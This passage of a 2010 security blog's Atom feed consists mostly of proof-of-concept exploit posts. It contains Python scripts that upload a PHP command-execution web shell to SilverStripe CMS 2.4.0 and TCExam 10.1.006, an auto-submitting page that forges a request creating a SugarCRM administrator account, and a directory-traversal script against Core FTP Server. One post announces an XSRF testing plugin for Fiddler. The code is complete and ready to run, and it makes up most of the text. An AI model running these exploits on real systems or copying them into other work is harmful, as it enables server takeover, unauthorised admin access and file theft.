/&gt;        if m[:9] == 'PHPSESSID':&lt;br /&gt;            cookie = m&lt;br /&gt;&lt;br /&gt;    content = '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="ID"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '0\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="FolderID"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '0\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="action_doUpload"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '1\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\&lt;br /&gt;              'Content-Type: image/jpeg\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '&amp;lt;?php echo "&amp;lt;pre&gt;" + system($_GET["CMD"]) + "&amp;lt;/pre&gt;"; ?&gt;\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="action_upload"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              'Upload Files Listed Below\r\n'\&lt;br /&gt;              '------x--\r\n'\&lt;br /&gt;&lt;br /&gt;    header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\&lt;br /&gt;             'Host: ' + host + '\r\n'\&lt;br /&gt;             'Proxy-Connection: keep-alive\r\n'\&lt;br /&gt;             'User-Agent: x\r\n'\&lt;br /&gt;             'Content-Length: ' + str(len(content)) + '\r\n'\&lt;br /&gt;             'Cache-Control: max-age=0\r\n'\&lt;br /&gt;             'Origin: http://' + host + '\r\n'\&lt;br /&gt;             'Content-Type: multipart/form-data; boundary=----x\r\n'\&lt;br /&gt;             'Accept: text/html\r\n'\&lt;br /&gt;             'Accept-Encoding: gzip,deflate,sdch\r\n'\&lt;br /&gt;             'Accept-Language: en-US,en;q=0.8\r\n'\&lt;br /&gt;             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\&lt;br /&gt;             'Cookie: ' + cookie + '\r\n'\&lt;br /&gt;             '\r\n'&lt;br /&gt;&lt;br /&gt;    resp = send_request(header + content)&lt;br /&gt;&lt;br /&gt;    print 'grabbing ids'&lt;br /&gt;&lt;br /&gt;    file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1)&lt;br /&gt;    file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1)    &lt;br /&gt;&lt;br /&gt;    resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\&lt;br /&gt;                        'Host: ' + host + '\r\n'\&lt;br /&gt;                        'Cookie: ' + cookie + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    print 'renaming shell'&lt;br /&gt;&lt;br /&gt;    security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1)&lt;br /&gt;    owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1)&lt;br /&gt;&lt;br /&gt;    content = 'Title=' + file_name + '&amp;Name=shell.php&amp;FileType=JPEG+image+-+good+for+photos&amp;Size=56+bytes&amp;OwnerID=' + owner_id + '&amp;Dimensions=x&amp;ctf%5BchildID%5D=' + file_id + '&amp;ctf%5BClassName%5D=File&amp;SecurityID=' + security_id + '&amp;action_saveComplexTableField=Save'&lt;br /&gt;&lt;br /&gt;    header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\&lt;br /&gt;             'Host: ' + host + '\r\n'\&lt;br /&gt;             'Proxy-Connection: keep-alive\r\n'\&lt;br /&gt;             'User-Agent: x\r\n'\&lt;br /&gt;             'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\&lt;br /&gt;             'Content-Length: ' + str(len(content)) + '\r\n'\&lt;br /&gt;             'Cache-Control: max-age=0\r\n'\&lt;br /&gt;             'Origin: http://' + host + '\r\n'\&lt;br /&gt;             'Content-Type: application/x-www-form-urlencoded\r\n'\&lt;br /&gt;             'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\&lt;br /&gt;             'Accept-Encoding: gzip,deflate,sdch\r\n'\&lt;br /&gt;             'Accept-Language: en-US,en;q=0.8\r\n'\&lt;br /&gt;             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\&lt;br /&gt;             'Cookie: ' + cookie + '; PastMember=1\r\n'\&lt;br /&gt;             '\r\n'&lt;br /&gt;&lt;br /&gt;    resp = send_request(header + content)   &lt;br /&gt;&lt;br /&gt;    print 'shell located at http://' + host + path + '/assets/shell.php'&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2106424930640757271?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2106424930640757271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/06/silverstripe-cms-240-arbitrary-upload.html#comment-form' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2106424930640757271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2106424930640757271'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/06/silverstripe-cms-240-arbitrary-upload.html' title='SilverStripe CMS 2.4.0 Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8812281227758054351</id><published>2010-06-01T20:09:00.000-07:00</published><updated>2010-06-01T20:15:46.320-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>TCExam 10.1.006 Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in tce_functions_tcecode_editor.php of TCExam 10.1.006 can be exploited to upload a PHP shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;TCExam-Shell.py&lt;/span&gt;&lt;pre name="code" class="py"&gt;import sys, socket&lt;br /&gt;host = 'localhost'&lt;br /&gt;tc_exam = 'http://' + host + '/TCExam'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)&lt;br /&gt;&lt;br /&gt;    content = '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="sendfile0"\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              'shell.php\r\n'\&lt;br /&gt;              '------x\r\n'\&lt;br /&gt;              'Content-Disposition: form-data; name="userfile0"; filename="shell.php"\r\n'\&lt;br /&gt;              'Content-Type: application/octet-stream\r\n'\&lt;br /&gt;              '\r\n'\&lt;br /&gt;              '&amp;lt;?php echo "&amp;lt;pre&gt;" + system($_GET["CMD"]) + "&amp;lt;/pre&gt;"; ?&gt;\r\n'\&lt;br /&gt;              '------x--\r\n'\&lt;br /&gt;              '\r\n'&lt;br /&gt;&lt;br /&gt;    header = 'POST ' + tc_exam + '/admin/code/tce_functions_tcecode_editor.php HTTP/1.1\r\n'\&lt;br /&gt;             'Host: ' + host + '\r\n'\&lt;br /&gt;             'Proxy-Connection: keep-alive\r\n'\&lt;br /&gt;             'User-Agent: x\r\n'\&lt;br /&gt;             'Content-Length: ' + str(len(content)) + '\r\n'\&lt;br /&gt;             'Cache-Control: max-age=0\r\n'\&lt;br /&gt;             'Origin: null\r\n'\&lt;br /&gt;             'Content-Type: multipart/form-data; boundary=----x\r\n'\&lt;br /&gt;             'Accept: text/html\r\n'\&lt;br /&gt;             'Accept-Encoding: gzip,deflate,sdch\r\n'\&lt;br /&gt;             'Accept-Language: en-US,en;q=0.8\r\n'\&lt;br /&gt;             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\&lt;br /&gt;             'Cookie: LastVisit=1275442604\r\n'\&lt;br /&gt;             '\r\n'&lt;br /&gt;&lt;br /&gt;    s.send(header + content)&lt;br /&gt;&lt;br /&gt;    http_ok = 'HTTP/1.1 200 OK'&lt;br /&gt;    &lt;br /&gt;    if http_ok not in s.recv(8192):&lt;br /&gt;        print 'error uploading shell'&lt;br /&gt;        return&lt;br /&gt;    else: print 'shell uploaded'&lt;br /&gt;&lt;br /&gt;    s.send('GET ' + tc_exam + '/cache/shell.php HTTP/1.1\r\n'\&lt;br /&gt;           'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    if http_ok not in s.recv(8192): print 'shell not found'        &lt;br /&gt;    else: print 'shell located at ' + tc_exam + '/cache/shell.php'&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8812281227758054351?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8812281227758054351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/06/tcexam-101006-arbitrary-upload.html#comment-form' title='127 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8812281227758054351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8812281227758054351'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/06/tcexam-101006-arbitrary-upload.html' title='TCExam 10.1.006 Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>127</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1118468280847871091</id><published>2010-05-30T14:09:00.000-07:00</published><updated>2010-05-30T14:11:48.655-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='fiddler'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='debugging proxy'/><title type='text'>Fiddler XSRF Inspector 1.0 Released</title><content type='html'>&lt;a href="http://sourceforge.net/projects/xsrfinspector/"&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/TALUhmqD4OI/AAAAAAAAAE4/OlVazX5Wu0M/s1600/fiddler-xsrf.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 244px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/TALUhmqD4OI/AAAAAAAAAE4/OlVazX5Wu0M/s320/fiddler-xsrf.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5477173770613678306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Overview&lt;/span&gt;&lt;br /&gt;Fiddler XSRF Inspector is a plugin for Fiddler 2 that extracts cross-site request forgery attacks from HTTP requests. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Installation&lt;/span&gt;&lt;br /&gt;Copy FiddlerXSRF.dll to the Fiddler 2 Inspectors folder, generally %ProgramFiles%\Fiddler2\Inspectors&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Instructions&lt;/span&gt;&lt;br /&gt;1) Capture the request that is going to be used to create a cross-site request forgery attack. &lt;br /&gt;2) Navigate to the XSRF tab under inspectors to see the generated HTML. If the request uses the POST method, the option to convert it to GET will be available.&lt;br /&gt;3) Click the Test button and observe the results.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Change Log&lt;/span&gt;&lt;br /&gt;1.0&lt;br /&gt;Initial Release&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1118468280847871091?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1118468280847871091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/fiddler-xsrf-inspector-10-released.html#comment-form' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1118468280847871091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1118468280847871091'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/fiddler-xsrf-inspector-10-released.html' title='Fiddler XSRF Inspector 1.0 Released'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_r1bXskT1Xow/TALUhmqD4OI/AAAAAAAAAE4/OlVazX5Wu0M/s72-c/fiddler-xsrf.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1280895180152979968</id><published>2010-05-30T14:02:00.000-07:00</published><updated>2010-05-30T14:06:56.161-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SugarCRM Community Edition 5.5.2'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>SugarCRM Community Edition 5.5.2 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in SugarCRM Community Edition 5.5.2 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&gt;&lt;br /&gt;    &amp;lt;body onload="document.forms[0].submit()"&gt;&lt;br /&gt;        &amp;lt;form method="POST" action="http://192.168.1.4/sugarcrm/index.php"&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="display_tabs_def" value="display_tabs[]=Home&amp;amp;amp;display_tabs[]=Dashboard&amp;amp;amp;display_tabs[]=Calendar&amp;amp;amp;display_tabs[]=Activities&amp;amp;amp;display_tabs[]=Leads&amp;amp;amp;display_tabs[]=Contacts&amp;amp;amp;display_tabs[]=Accounts&amp;amp;amp;display_tabs[]=Opportunities&amp;amp;amp;display_tabs[]=Emails&amp;amp;amp;display_tabs[]=Campaigns&amp;amp;amp;display_tabs[]=Cases&amp;amp;amp;display_tabs[]=Documents&amp;amp;amp;" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="hide_tabs_def" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="remove_tabs_def" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="module" value="Users" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="record" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="action" value="Save" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="page" value="EditView" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="return_module" value="Users" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="return_id" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="return_action" value="DetailView" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="password_change" value="true" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="required_password" value="1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_name" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="type" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="is_group" value="0" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="portal_only" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="is_admin" value="1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="is_current_admin" value="1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="required_email_address" value="0" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="sugar_user_name" value="new_admin" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="unique_name" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="first_name" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="status" value="Active" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="last_name" value="a" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="UserType" value="Administrator" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="old_password" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="new_password" value="Password1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="confirm_new_password" value="Password1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="emailAddressWidget" value="1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="emailAddress0" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="emailAddressPrimaryFlag" value="emailAddress0" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="emailAddressVerifiedFlag0" value="true" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="emailAddressVerifiedValue0" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="useEmailWidget" value="true" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="email_link_type" value="sugar" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="mail_smtpuser" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="mail_smtppass" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="employee_status" value="Active" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="title" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="phone_work" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="department" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="phone_mobile" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="reports_to_name" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="reports_to_id" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="phone_other" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="phone_fax" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="phone_home" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="messenger_type" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="messenger_id" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="address_street" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="address_city" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="address_state" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="address_postalcode" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="address_country" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="description" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="receive_notifications" value="12" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="export_delimiter" value="," /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="mailmerge_on" value="0" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="reminder_time" value="60" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="default_export_charset" value="ISO-8859-1" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_max_tabs" value="12" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_max_subtabs" value="12" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_subpanel_tabs" value="on" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="dateformat" value="m/d/Y" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="currency" value="-99" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="timeformat" value="H:i" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="default_currency_significant_digits" value="2" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="timezone" value="Africa/Abidjan" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="ut" value="0" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="num_grp_sep" value="," /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="default_locale_name_format" value="s f l" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="dec_sep" value="." /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="calendar_publish_key" value="" /&gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="outboundtest_from_address" value="" /&gt;&lt;br /&gt;        &amp;lt;/form&gt;&lt;br /&gt;    &amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1280895180152979968?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1280895180152979968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/sugarcrm-community-edition-552-cross.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1280895180152979968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1280895180152979968'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/sugarcrm-community-edition-552-cross.html' title='SugarCRM Community Edition 5.5.2 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3083318725749687827</id><published>2010-05-27T19:42:00.000-07:00</published><updated>2010-05-27T19:47:25.471-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Core FTP Server 1.0.343'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Core FTP Server 1.0.343 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a specially crafted URL.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;/...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;list_root.py&lt;/span&gt;&lt;pre name="code" class="py"&gt;import sys, socket, re&lt;br /&gt;&lt;br /&gt;host = 'localhost'&lt;br /&gt;port = 21&lt;br /&gt;user = 'anonymous'&lt;br /&gt;password = 'a'&lt;br /&gt;&lt;br /&gt;buffer_size = 8192&lt;br /&gt;timeout = 8&lt;br /&gt;&lt;br /&gt;def recv(s):&lt;br /&gt;    resp = ''&lt;br /&gt;&lt;br /&gt;    while 1:&lt;br /&gt;        r = s.recv(buffer_size)&lt;br /&gt;        if not r: break&lt;br /&gt;        resp += r&lt;br /&gt;&lt;br /&gt;    return resp&lt;br /&gt;&lt;br /&gt;def list_root():&lt;br /&gt;    try:&lt;br /&gt;        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;        s.connect((host, port))&lt;br /&gt;        s.settimeout(timeout)&lt;br /&gt;&lt;br /&gt;        print s.recv(buffer_size)            &lt;br /&gt;&lt;br /&gt;        s.send('USER ' + user + '\r\n')                   &lt;br /&gt;        print s.recv(buffer_size)            &lt;br /&gt;&lt;br /&gt;        s.send('PASS ' + password + '\r\n')               &lt;br /&gt;        print s.recv(buffer_size) + s.recv(buffer_size)&lt;br /&gt;&lt;br /&gt;        s.send('CWD ' + '/...' * 16 + '\r\n')&lt;br /&gt;&lt;br /&gt;        resp = s.recv(buffer_size)&lt;br /&gt;&lt;br /&gt;        print resp&lt;br /&gt;        &lt;br /&gt;        if resp[:3] == '250':&lt;br /&gt;            s.send('PASV\r\n')                                   &lt;br /&gt;            resp =  s.recv(buffer_size)&lt;br /&gt;&lt;br /&gt;            print resp&lt;br /&gt;            &lt;br /&gt;            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)&lt;br /&gt;&lt;br /&gt;            if (pasv_info == None):&lt;br /&gt;                print 'Invalid PASV response: ' + resp&lt;br /&gt;                return            &lt;br /&gt;&lt;br /&gt;            s.send('LIST\r\n')            &lt;br /&gt;&lt;br /&gt;            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))&lt;br /&gt;            s2.settimeout(timeout)           &lt;br /&gt;&lt;br /&gt;            print recv(s2)&lt;br /&gt;&lt;br /&gt;        s.close()&lt;br /&gt;&lt;br /&gt;    except Exception:        &lt;br /&gt;        print sys.exc_info()&lt;br /&gt;&lt;br /&gt;list_root()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3083318725749687827?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3083318725749687827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/core-ftp-server-10343-directory.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3083318725749687827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3083318725749687827'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/core-ftp-server-10343-directory.html' title='Core FTP Server 1.0.343 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3338827789283077880</id><published>2010-05-27T17:17:00.000-07:00</published><updated>2010-05-27T17:23:22.085-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Home FTP Server 1.10.2.143'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Home FTP Server 1.10.2.143 Directory Traversal</title><content type='html'>A directory traversal vulnerability in Home FTP Server 1.10.2.143 can be exploited to read, write, and delete files outside of the ftp root directory. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;RETR [Drive Letter]:\[Filename]&lt;br /&gt;STOR [Drive Letter]:\[Filename]&lt;br /&gt;DELE [Drive Letter]:\[Filename]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;span 